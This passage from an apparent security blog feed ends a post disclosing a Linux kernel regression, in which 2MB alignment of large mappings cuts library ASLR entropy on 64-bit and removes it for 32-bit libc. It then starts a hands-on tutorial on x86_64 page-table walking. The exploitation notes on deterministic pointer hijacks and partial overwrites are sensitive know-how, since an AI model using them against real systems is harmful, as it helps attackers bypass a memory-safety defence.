<span class="n">Out</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span> <span class="sh">'</span><span class="s">0x7fffffe00000</span><span class="sh">'</span>
</code></pre></div></div>

<p>Alright, so for 1000 OR’d libc base addresses <code class="language-plaintext highlighter-rouge">0x7fffffe00000</code> is the combined value we get, meaning the last five nibbles + 1 bit (21 bits) were zero on all of those 1000 runs. So those low 21 bits must not be part of the randomization on the mapping, since they aren’t changing.</p>

<p>Let’s run it again but instead of grepping for the base address of libc, let’s do it for <code class="language-plaintext highlighter-rouge">ld</code> which is signifcantly smaller than 2MB (236KB)</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">In</span> <span class="p">[</span><span class="mi">2</span><span class="p">]:</span> <span class="kn">from</span> <span class="n">subprocess</span> <span class="kn">import</span> <span class="n">check_output</span>
   <span class="p">...:</span> <span class="n">result</span> <span class="o">=</span> <span class="mh">0x0</span>
   <span class="p">...:</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1000</span><span class="p">):</span>
   <span class="p">...:</span>     <span class="n">out</span> <span class="o">=</span> <span class="nf">check_output</span><span class="p">(</span><span class="sh">"</span><span class="s">cat /proc/self/maps | grep ld | head -n1</span><span class="sh">"</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">).</span><span class="nf">decode</span><span class="p">()</span>
   <span class="p">...:</span>     <span class="n">base_address</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">out</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">-</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
   <span class="p">...:</span>     <span class="n">result</span> <span class="o">|=</span> <span class="n">base_address</span>
   <span class="p">...:</span> <span class="nf">hex</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">2</span><span class="p">]:</span> <span class="sh">'</span><span class="s">0x7ffffffff000</span><span class="sh">'</span>
</code></pre></div></div>

<p>Okay, so that is clearly different… libc’s base address had 21 bits of trailing zeros but ld’s base address has 12 bits of trailing zeros.</p>

<p>What we are observing here is that ld’s base address has 9 more bits of randomization than libc’s base address and this wasn’t the case in the past (both because libc was &lt;2MB and because the change that causes this wasn’t implemented yet)</p>

<p>So libc lost 9 bits of its randomization, to… something? for being &gt;=2MB?</p>

<h1 id="the-32-bit-breakage">The 32-bit breakage</h1>

<p>So I claimed 32-bit is straight up broken, let’s see it.</p>

<p>To observe the breakage you’ll of course need a 32-bit binary, I compiled this <code class="language-plaintext highlighter-rouge">cat</code> clone (credit: ChatGPT lol) as a 32-bit binary:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// gcc -m32 cat32.c -o cat32</span>
<span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="kt">FILE</span> <span class="o">*</span><span class="n">file</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">c</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Usage: %s &lt;filename&gt;</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
        <span class="k">return</span> <span class="n">EXIT_FAILURE</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">file</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">"r"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">file</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"Error opening file"</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">EXIT_FAILURE</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">while</span> <span class="p">((</span><span class="n">c</span> <span class="o">=</span> <span class="n">fgetc</span><span class="p">(</span><span class="n">file</span><span class="p">))</span> <span class="o">!=</span> <span class="n">EOF</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">putchar</span><span class="p">(</span><span class="n">c</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>

    <span class="k">return</span> <span class="n">EXIT_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Okay so let’s do the same thing as we did for testing the 64-bit regression, just cat out <code class="language-plaintext highlighter-rouge">/proc/self/maps</code> but with our 32-bit cat:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>jmill@ubun<span class="o">)</span>-[~/snippets]
└─<span class="nv">$ </span>./cat32 /proc/self/maps | <span class="nb">grep </span>libc | <span class="nb">head</span> <span class="nt">-n1</span>
f7c00000-f7c20000 r--p 00000000 103:02 13111313                          /usr/lib32/libc.so.6

┌──<span class="o">(</span>jmill@ubun<span class="o">)</span>-[~/snippets]
└─<span class="nv">$ </span>./cat32 /proc/self/maps | <span class="nb">grep </span>libc | <span class="nb">head</span> <span class="nt">-n1</span>
f7c00000-f7c20000 r--p 00000000 103:02 13111313                          /usr/lib32/libc.so.6

┌──<span class="o">(</span>jmill@ubun<span class="o">)</span>-[~/snippets]
└─<span class="nv">$ </span>./cat32 /proc/self/maps | <span class="nb">grep </span>libc | <span class="nb">head</span> <span class="nt">-n1</span>
f7c00000-f7c20000 r--p 00000000 103:02 13111313                          /usr/lib32/libc.so.6
</code></pre></div></div>

<p>And…. yeah….</p>

<p>It’s just completely broken, the base address of libc for this program is just always <code class="language-plaintext highlighter-rouge">f7c00000</code> on my machine.</p>

<p>Why is not being randomized at all on 32-bit? well let’s check how much randomization is applied to 32-bit mappings:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>jmill@ubun<span class="o">)</span>-[~]
└─<span class="nv">$ </span><span class="nb">sudo </span>sysctl vm.mmap_rnd_compat_bits
vm.mmap_rnd_compat_bits <span class="o">=</span> 8
</code></pre></div></div>

<p>We were losing 9 bits on 64-bit, but with only 8 bits of randomization on 32-bit losing that many bits means we just completely lose all randomization.</p>

<h1 id="huge-page-huge-problem">Huge Page, Huge Problem</h1>

<p>So wtf is going on, 9 bits of ASLR are missing on 64-bit libc and 32-bit libc is not being randomized at all???</p>

<p>When I found the 64-bit regression it was 3am and I was hacking at some awful CTF challenge idea (as one does) that involved a partial address overwrite, I was extremely confused as to why more than the last 12 bits were constant and decided I’d look into it in the morning. I went into the lab the next day and spent a while looking at but was still pretty lost as to what was going on. I asked kylebot since he was around if he had any ideas as to what was going on, eventually we came to the conclusion that because it was related to the mappings being &gt;=2MB it must be something to do with Huge Pages.</p>

<p>If you aren’t aware of what Huge Pages are, you should read my blog post on paging :p</p>

<p>In short, on x86_64 there are two variants of ‘Huge Pages’, one of the two is the 2MB Huge Page. Similar to how a normal 4KB Page must be 12 bit aligned, a 2MB Huge Page must be 21 bit aligned. That 9-bit difference in alignment from 12 to 21 is where this regression comes from.</p>

<p>A number of filesystems switched to using thp_get_unmapped_area <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=dbe6ec815641aa22b50775aaeb47fa3a8d04ccf1">a long time ago</a>, and more recently (5.18) thp_get_unmapped_area was changed <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1854bc6e2420472676c5c90d3d6b15f6cd640e40">to make all mappings &gt;=2MB have 2MB alignment</a> instead of just DAX mappings:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index 38e233a7d9776..f85b04b31bd12 100644
</span><span class="gd">--- a/mm/huge_memory.c
</span><span class="gi">+++ b/mm/huge_memory.c
</span><span class="p">@@ -582,13 +582,10 @@</span> unsigned long thp_get_unmapped_area(struct file *filp, unsigned long addr,
 	unsigned long ret;
 	loff_t off = (loff_t)pgoff &lt;&lt; PAGE_SHIFT;
<span class="err">
</span><span class="gd">-	if (!IS_DAX(filp-&gt;f_mapping-&gt;host) || !IS_ENABLED(CONFIG_FS_DAX_PMD))
-		goto out;
-
</span> 	ret = __thp_get_unmapped_area(filp, addr, len, off, flags, PMD_SIZE);
 	if (ret)
 		return ret;
<span class="gd">-out:
</span><span class="gi">+
</span> 	return current-&gt;mm-&gt;get_unmapped_area(filp, addr, len, pgoff, flags);
 }
 EXPORT_SYMBOL_GPL(thp_get_unmapped_area);
</code></pre></div></div>

<p>So, to summarize, major filesystems call thp_get_unmapped_area, this patch makes it so regular file backed mappings that go through <code class="language-plaintext highlighter-rouge">thp_get_unmapped_area</code> can be backed by Huge Pages, and some libc’s have (somewhat recently) surpassed 2MB. This all converged such that on some distros libc is being fix-mapped for 32-bit applications and 9-bits of libc’s ASLR for 64-bit applications has been lost (again impact will vary across distros).</p>

<p>I’ve been stressing libc just because it’s used by so many applications and has all the ROP gadgets anyone needs anyways, but just to be clear it’s not just libc, any library &gt;=2MB is potentially affected, and even anonymous mappings &gt;=2MB are being 2MB aligned on my Ubuntu 22.04 system, though I’m still not sure what that’s about…</p>

<h1 id="wrapping-up">Wrapping up</h1>

<p>The impact of this on 32-bit applications is fairly obvious, ASLR is just broken, exploits can be deterministicly hijack pointers using large library addresses. For 64-bit applications, 19-bits of randomization is still a good amount but it does mean that partial address overwites on pointers to &gt;=2MB libraries are stronger, e.g. the last 2-bytes of a library pointer can be overwritten deterministically (previously only 1-byte overwrites were deterministic).</p>

<p>I noticed the Ubuntu issue was updated recently to say they are <a href="https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/noble/commit/?h=master-next&amp;id=760c2b1fa1f5e95be1117bc7b80afb8441d4b002">increasing the base mmap_rnd_bits</a> to account for the lost randomization, which seems reasonable, 32-bit will get most of its randomization back. It won’t address partial overwites becoming more deterministic though, and it’s only been commited to the 24.04 tree so far from what I can tell.</p>

<p>Hopefully, more distros will look into mitigating this.</p>

<p>Thanks for reading!</p>]]></content><author><name>Jennifer Miller</name></author><category term="Linux" /><category term="ASLR" /><category term="x86_64" /><summary type="html"><![CDATA[As it turns out, on recent Ubuntu, Arch, Fedora, and likely other distro’s releases, with kernel versions &gt;=5.18, library ASLR is literally broken for 32-bit libraries of at least 2MB in size, on certain filesystems. Also, ASLR’s entropy on 64-bit libraries that are at least 2MB is significantly reduced, 28 bits -&gt; 19 bits, on certain filesystems.]]></summary></entry><entry><title type="html">Understanding x86_64 Paging</title><link href="https://zolutal.github.io/understanding-paging/" rel="alternate" type="text/html" title="Understanding x86_64 Paging" /><published>2023-12-27T00:00:00+00:00</published><updated>2023-12-27T00:00:00+00:00</updated><id>https://zolutal.github.io/understanding-paging</id><content type="html" xml:base="https://zolutal.github.io/understanding-paging/"><![CDATA[<p>I’ve spent quite a lot of time messing with x86_64 page tables, understanding address translation is not easy and when I started learning about it I felt like a lot of the material out there on how it works was hard for me to wrap my head around. So in this blog post I am going to attempt to provide a kind of “what I wish I had when learning about paging”.</p>

<p>Quick note, I’ll only be discussing paging in the context of PML4 (Page Map Level 4) since it’s currently the dominant x86_64 paging scheme and probably will be for a while still.</p>

<h2 id="environment">environment</h2>

<p>Its not necessary, but I recommend that you have a Linux kernel debugging setup with QEMU + gdb prepared to follow along with. If you’ve never done this, maybe give this repo a shot: <a href="https://github.com/deepseagirl/easylkb">easylkb</a> (I’ve never used it, but I’ve heard good things) or if you want to avoid having to setup the environment yourself, the practice mode on any of the Kernel Security challenges on <a href="https://pwn.college/">pwn.college</a> would also work (<code class="language-plaintext highlighter-rouge">vm connect</code> and <code class="language-plaintext highlighter-rouge">vm debug</code> are the commands to know).</p>

<p>I suggest this because I think running the same commands I am on your own and being able to perform a page walk based on what you can see in gdb is a good test of understanding.</p>

<h2 id="wtf-is-a-page">wtf is a page</h2>

<p>On x86_64 a page is a 0x1000 byte slice of memory which is 0x1000 byte aligned.</p>

<p>This is the reason why if you ever look at /proc/&lt;pid&gt;/maps you see that all the address ranges will start and end with an address ending with 0x000 because the minimum size of a memory mapping on x86_64 is page size (0x1000 bytes) and pages are required to be ‘page aligned’ (the last 12 bits must be zero).</p>

<p>A ‘Virtual Page’ will be resolved to a single ‘Physical Page’ (aka ‘Page Frame’) by your MMU though many Virtual Pages may refer to the same Physical Page.</p>

<h2 id="what-is-in-a-virtual-address">what is in a virtual address</h2>

<p>PML4, as one might guess, has four level of paging structures, these paging structures are called ‘Page Tables’. A page table is a page-sized memory region which contains 512 8-byte page table entries. Each entry of a page table will refer to either the next level page table or to the final physical address a virtual address resolves to.</p>

<p>The entry from a page table that is used for address translation is based on the virtual address of the memory access. With 512 entries per level, that means 9-bits of the virtual address are used at every level to index into the corresponding page table.</p>

<p>Say we have an address like this:</p>

<p><code class="language-plaintext highlighter-rouge">0x7ffe1c9c9000</code></p>

<p>The last 12 bits of this address represent the offset within the physical page:</p>

<p><code class="language-plaintext highlighter-rouge">0x7ffe1c9c9000 &amp; 0xfff = 0x0</code></p>

<p>This means that once we determine the physical address of the page this virtual address resolves to, we will add zero to the result to get the final physical address.</p>

<p>After the last 12 bits, which is again just the offset within the final page, a virtual address is comprised of indicies into the page tables. As mentioned each level of paging uses 9 bits of the virtual address, so the lowest level of the paging structures, a Page Table, is indexed by the next 9 bits of the address (by bit masking with <code class="language-plaintext highlighter-rouge">&amp; 0x1ff</code> on the shifted value). For the following levels we just need to shift right by another nine bits each time and again mask off the lower nine bits as our index. Doing this for the address above gives us these indicies:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Level 1, Page Table (PT):
Index = (0x7ffe1c9c9000 &gt;&gt; 12) &amp; 0x1ff = 0x1c9

Level 2, Page Middle Directory (PMD):
Index = (0x7ffe1c9c9000 &gt;&gt; 21) &amp; 0x1ff = 0x0e4

Level 3, Page Upper Directory (PUD):
Index = (0x7ffe1c9c9000 &gt;&gt; 30) &amp; 0x1ff = 0x1f8

Level 4, Page Global Directory (PGD):
Index = (0x7ffe1c9c9000 &gt;&gt; 39) &amp; 0x1ff = 0x0ff
</code></pre></div></div>

<h2 id="all-your-base">all your base</h2>

<p>Now that we know how to index into page tables and vaguely what they contain, where actually are they???</p>

<p>Well each thread of your CPU has a page table base register called <code class="language-plaintext highlighter-rouge">cr3</code>.</p>

<p><code class="language-plaintext highlighter-rouge">cr3</code> holds the physical address of the highest level of the paging structure, aka the Page Global Directory (PGD).</p>

<p>From gdb, when debugging the kernel, you can read the contents of <code class="language-plaintext highlighter-rouge">cr3</code> like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x $cr3
$1 = 0x10d664000
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">cr3</code> register can hold some additional information besides just the PGD address depending on what processor features are in use, so a more general way of getting the physical address of the PGD from the <code class="language-plaintext highlighter-rouge">cr3</code> register is to mask off the lower 12 bits of its contents like so:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x $cr3 &amp; ~0xfff
$2 = 0x10d664000
</code></pre></div></div>

<h2 id="page-table-entries">page table entries</h2>

<p>Lets look at what is at that physical address we got from <code class="language-plaintext highlighter-rouge">cr3</code> in gdb. The <code class="language-plaintext highlighter-rouge">monitor xp/...</code> command that is exposed to gdb by the QEMU Monitor lets us print out the physical memory of the vm and doing <code class="language-plaintext highlighter-rouge">monitor xp/512gx ...</code> will print the entire contents, all 512 entries, of the PGD referred to by <code class="language-plaintext highlighter-rouge">cr3</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  monitor xp/512gx 0x10d664000
...
000000010d664f50: 0x0000000123fca067 0x0000000123fc9067
000000010d664f60: 0x0000000123fc8067 0x0000000123fc7067
000000010d664f70: 0x0000000123fc6067 0x0000000123fc5067
000000010d664f80: 0x0000000123fc4067 0x0000000123fc3067
000000010d664f90: 0x0000000123fc2067 0x000000000b550067
000000010d664fa0: 0x000000000b550067 0x000000000b550067
000000010d664fb0: 0x000000000b550067 0x0000000123fc1067
000000010d664fc0: 0x0000000000000000 0x0000000000000000
000000010d664fd0: 0x0000000000000000 0x0000000000000000
000000010d664fe0: 0x0000000123eab067 0x0000000000000000
000000010d664ff0: 0x000000000b54c067 0x0000000008c33067
</code></pre></div></div>

<p>This produces a lot of output and most of it is zero, so I’m only including the tail of the output here.</p>

<p>This output probably doesn’t mean much to you yet, but we can observe some patterns in the data, lots of the 8-byte entries end in <code class="language-plaintext highlighter-rouge">0x67</code>, for example.</p>

<h2 id="decoding-a-pgd-entry">decoding a PGD entry</h2>

<p>From the PGD output above, lets take the PGD entry at <code class="language-plaintext highlighter-rouge">0x000000010d664f50</code> with value <code class="language-plaintext highlighter-rouge">0x0000000123fca067</code> as an example to see how to decode an entry.</p>

<p>and lets do this with the binary representation of that entry’s value:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/t 0x0000000123fca067
$6 = 100100011111111001010000001100111
</code></pre></div></div>

<p>Here is a little diagram to show what each bit in the entry represents:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ PGD Entry ~                                                   Present ──────┐
                                                            Read/Write ──────┐|
                                                      User/Supervisor ──────┐||
                                                  Page Write Through ──────┐|||
                                               Page Cache Disabled ──────┐ ||||
                                                         Accessed ──────┐| ||||
                                                         Ignored ──────┐|| ||||
                                                       Reserved ──────┐||| ||||
┌─ NX          ┌─ Reserved                             Ignored ──┬──┐ |||| ||||
|┌───────────┐ |┌──────────────────────────────────────────────┐ |  | |||| ||||
||  Ignored  | ||               PUD Physical Address           | |  | |||| ||||
||           | ||                                              | |  | |||| ||||
0000 0000 0000 0000 0000 0000 0000 0001 0010 0011 1111 1100 1010 0000 0110 0111
       56        48        40        32        24        16         8         0
</code></pre></div></div>

<p>and here’s a key for what each of those labels mean:</p>

<ul>
  <li>NX (Not Executable) – if this bit is set, no memory mapping that is a descendant of this PGD entry will be executable.</li>
  <li>Reserved – these values must be zero.</li>
  <li>PUD Physical Address – the physical address of the PUD associated with this PGD entry.</li>
  <li>Accessed –  If any pages referred to by this entry or its descendants, this bit will be set by the MMU, and can be cleared by the OS.</li>
  <li>Page Cache Disabled (PCD) – pages descendant of this PGD entry should not enter the CPU’s cache hierarchy, sometimes also called the ‘Uncacheable’ (UC) bit.</li>
  <li>Page Write Through (WT) – writes to pages descendant of this PGD entry should immediately write to RAM rather than buffering writes to CPU cache before eventually updating RAM.</li>
  <li>User/Supervisor – if this bit is unset, pages descendant of this PGD cannot be accessed unless in supervisor mode.</li>
  <li>Read/Write – if this bit is unset, pages descendant of this PGD cannot be written to.</li>
  <li>Present – if this bit is unset then the processor will not use this entry for address translation and none of the other bits will apply.</li>
</ul>

<p>The bits that we really care about here are the the Present bit, the ones representing the physical address of the next level of the paging structures, the PUD Physical Address bits, and the permission bits: NX, User/Supervisor, and Read/Write.</p>

<ul>
  <li>The Present bit is super important because without it set the rest of the entry is ignored.</li>
  <li>The PUD Physical Address lets us continue page walking by telling us where the physical address of the next level of the paging structures is at.</li>
  <li>The Permission bits all apply to pages which are descendants of the PGD entry and determine how those pages are able to be accesssed.</li>
</ul>

<p>The remaining bits are not as important for our purposes:</p>
<ul>
  <li>The Accessed bit is set if the entry was used in translating a memory access, its not important for page walking.</li>
  <li>Page Cache Disabled and Page Write Through are not used for normal memory mappings and do not affect page translation or permissions so lets ignore them.</li>
</ul>

<p>So decoding this entry, we learn:</p>

<p>The PUD is Present:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x0000000123fca067 &amp; 0b0001
$18 = 0x1
</code></pre></div></div>
<p>The mappings in the PUD and below may be able to be Writable:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x0000000123fca067 &amp; 0b0010
$19 = 0x2
</code></pre></div></div>
<p>The mappings in the PUD and below may be able to be User accessible:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x0000000123fca067 &amp; 0b0100
$20 = 0x4
</code></pre></div></div>
<p>The PUD’s physical address ( bits (51:12] ) is <code class="language-plaintext highlighter-rouge">0x123fca000</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x0000000123fca067 &amp; ~((1ull&lt;&lt;12)-1) &amp; ((1ull&lt;&lt;51)-1)
$21 = 0x123fca000
</code></pre></div></div>
<p>The mappings in the PUD and below may be able to be Executable:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x 0x0000000123fca067 &amp; (1ull&lt;&lt;63)
$22 = 0x0
</code></pre></div></div>

<h2 id="decoding-entries-for-all-levels">decoding entries for all levels</h2>

<p>Now that we’ve seen how to decode a PGD entry, decoding the rest of the levels aren’t so much different, at least in the common case.</p>

<p>For all of these diagrams ‘X’ means the bit can be either zero or one, otherwise, if a bit is set to a specific value then that value is either required by the architecture or by the specific encoding shown by the diagram.</p>

<h3 id="pgd">PGD</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ PGD Entry ~                                                   Present ──────┐
                                                            Read/Write ──────┐|
                                                      User/Supervisor ──────┐||
                                                  Page Write Through ──────┐|||
                                               Page Cache Disabled ──────┐ ||||
                                                         Accessed ──────┐| ||||
                                                         Ignored ──────┐|| ||||
                                                       Reserved ──────┐||| ||||
┌─ NX          ┌─ Reserved                             Ignored ──┬──┐ |||| ||||
|┌───────────┐ |┌──────────────────────────────────────────────┐ |  | |||| ||||
||  Ignored  | ||               PUD Physical Address           | |  | |||| ||||
||           | ||                                              | |  | |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX 0XXX XXXX
       56        48        40        32        24        16         8         0
</code></pre></div></div>

<p>This one we’ve already seen, I described it in detail in the previous section, but here it is without that specific PGD entry filled in.</p>

<h3 id="pud">PUD</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ PUD Entry, Page Size unset ~                                  Present ──────┐
                                                            Read/Write ──────┐|
                                                      User/Supervisor ──────┐||
                                                  Page Write Through ──────┐|||
                                               Page Cache Disabled ──────┐ ||||
                                                         Accessed ──────┐| ||||
                                                         Ignored ──────┐|| ||||
                                                      Page Size ──────┐||| ||||
┌─ NX          ┌─ Reserved                             Ignored ──┬──┐ |||| ||||
|┌───────────┐ |┌──────────────────────────────────────────────┐ |  | |||| ||||
||  Ignored  | ||               PMD Physical Address           | |  | |||| ||||
||           | ||                                              | |  | |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX 0XXX XXXX
       56        48        40        32        24        16         8         0
</code></pre></div></div>

<p>As you can see the diagram above for the PUD is very similar to the one for the PGD, the only difference is the introduction of the ‘Page Size’ bit. The Page Size bit being set changes how we need to interpret a PUD entry quite a lot. For this diagram we are assuming it is unset, which is the most common case.</p>

<h3 id="pmd">PMD</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ PMD Entry, Page Size unset ~                                  Present ──────┐
                                                            Read/Write ──────┐|
                                                      User/Supervisor ──────┐||
                                                  Page Write Through ──────┐|||
                                               Page Cache Disabled ──────┐ ||||
                                                         Accessed ──────┐| ||||
                                                         Ignored ──────┐|| ||||
                                                      Page Size ──────┐||| ||||
┌─ NX          ┌─ Reserved                             Ignored ──┬──┐ |||| ||||
|┌───────────┐ |┌──────────────────────────────────────────────┐ |  | |||| ||||
||  Ignored  | ||                PT Physical Address           | |  | |||| ||||
||           | ||                                              | |  | |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX 0XXX XXXX
       56        48        40        32        24        16         8         0
</code></pre></div></div>

<p>Again, the PMD diagram is very similar to the previous diagram, and like with the PUD entry, we are ignoring the Page Size bit for now.</p>

<h3 id="pt">PT</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ PT Entry ~                                                    Present ──────┐
                                                            Read/Write ──────┐|
                                                      User/Supervisor ──────┐||
                                                  Page Write Through ──────┐|||
                                               Page Cache Disabled ──────┐ ||||
                                                         Accessed ──────┐| ||||
┌─── NX                                                    Dirty ──────┐|| ||||
|┌───┬─ Memory Protection Key              Page Attribute Table ──────┐||| ||||
||   |┌──────┬─── Ignored                               Global ─────┐ |||| ||||
||   ||      | ┌─── Reserved                          Ignored ───┬─┐| |||| ||||
||   ||      | |┌──────────────────────────────────────────────┐ | || |||| ||||
||   ||      | ||            4KB Page Physical Address         | | || |||| ||||
||   ||      | ||                                              | | || |||| ||||
XXXX XXXX XXXX 0XXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX
       56        48        40        32        24        16         8         0
</code></pre></div></div>

<p>At the Page Table entry things get more interesting, there are some new fields/attributes that weren’t there in the previous levels.</p>

<p>Those new fields/attributes are:</p>

<ul>
  <li>Memory Protection Key (MPK or PK): This is an x86_64 extension that allows assigning a 4-bit keys to pages which can be used to configure memory permissions for all pages with that key.</li>
  <li>Global: This has to do with how the TLB (Translation Lookaside Buffer, the MMU’s cache for virtual to physical address translations) caches the translation for th page, this bit being set means the page will not be flushed from the TLB on context switch, this is commonly enabled on Kernel pages to reduce TLB misses.</li>
  <li>Page Attribute Table (PAT): If set, the MMU should consult the Page Attribute Table MSR when determining whether the ‘Memory Type’ of the page, e.g. whether this page is ‘Uncacheable’, ‘Write Through’, or one of a few other memory types.</li>
  <li>Dirty: This bit is similar to the accessed bit, it gets set by the MMU if this page was written to and must be reset by the OS.</li>
</ul>

<p>None of these actually affect the address translation itself, but the configuration of the Memory Protection Key can mean that the expected memory access permissions for the page referred to by this entry may be stricter than what is encoded by the entry itself.</p>

<p>Unlike the previous levels, since this is the last level, the entry holds the final physical address of the page associated with the virtual address we are translating. Once you apply a bit-mask to get the physical address bytes and add the last 12 bits of the original virtual address (the offset within the page), you have your physical address!</p>

<p>Hopefully, this doesn’t seem so bad, the general case of page walking is just a few steps:</p>
<ul>
  <li>Convert the virtual address to indicies and a page offset by shifting the address and applying bitmasks</li>
  <li>Read <code class="language-plaintext highlighter-rouge">cr3</code> to get the physical address of the PGD</li>
  <li>For each level until the last:
    <ul>
      <li>Use the indicies calculated from the virtual address to know what entry from the page table to use</li>
      <li>Apply a bitmask to the entry to get the physical address of the next level</li>
    </ul>
  </li>
  <li>On the final level, again find the entry corresponding with the index from the virtual address</li>
  <li>Apply a bitmask to get the physical address of the page associated with the virtual address</li>
  <li>Add offset within the page from the virtual address to the page’s physical address</li>
  <li>Done!</li>
</ul>

<h2 id="hugeify">hugeify</h2>

<p>As mentioned, the previous diagrams for the PUD and PMD are for the common case, when the Page Size bit is not set.</p>

<p>So, what about when it is set?</p>

<p>When it is set that is effectively telling the MMU, pack it up, we’re done here, don’t keep page walking, the current entry holds the physical address of the page we are looking for.</p>

<p>But there is a bit more to it than that, the physical address of the page in entries where the Page Size bit is set isn’t for a normal 4KB (0x1000 byte) page, it is a ‘Huge Page’ which comes in two variants: 1GB Huge Pages and 2MB Huge Pages.</p>

<p>When a PUD entry has the Page Size bit set then it refers to a 1GB Huge Page, and when a PMD has the Page Size bit set it refers to a 2MB Huge Page.</p>

<p>But where do the 1GB and 2MB numbers come from?</p>

<p>Each page table level holds up to 512 entries, that means a PT can refer to at most 512 pages and <code class="language-plaintext highlighter-rouge">512 * 4KB = 2MB</code>. So a Huge Page at the PMD level effectively means that the entry refers to a page that is the same size as a full PT.</p>

<p>Extending this to the PUD level, we just multiply by 512 again to get the size of a full PMD that has full PTs: <code class="language-plaintext highlighter-rouge">512 * 512 * 4KB = 1GB</code>.</p>

<h3 id="huge-page-pud">Huge Page PUD</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ PUD Entry, Page Size set ~                                     Present ─────┐
                                                             Read/Write ─────┐|
                                                       User/Supervisor ─────┐||
                                                   Page Write Through ─────┐|||
                                                Page Cache Disabled ─────┐ ||||
                                                          Accessed ─────┐| ||||
                                                            Dirty ─────┐|| ||||
┌─── NX                                                Page Size ─────┐||| ||||
|┌───┬─── Memory Protection Key                         Global ─────┐ |||| ||||
||   |┌──────┬─── Ignored                             Ignored ───┬─┐| |||| ||||
||   ||      | ┌─── Reserved           Page Attribute Table ───┐ | || |||| ||||
||   ||      | |┌────────────────────────┐┌───────────────────┐| | || |||| ||||
||   ||      | || 1GB Page Physical Addr ||      Reserved     || | || |||| ||||
||   ||      | ||                        ||                   || | || |||| ||||
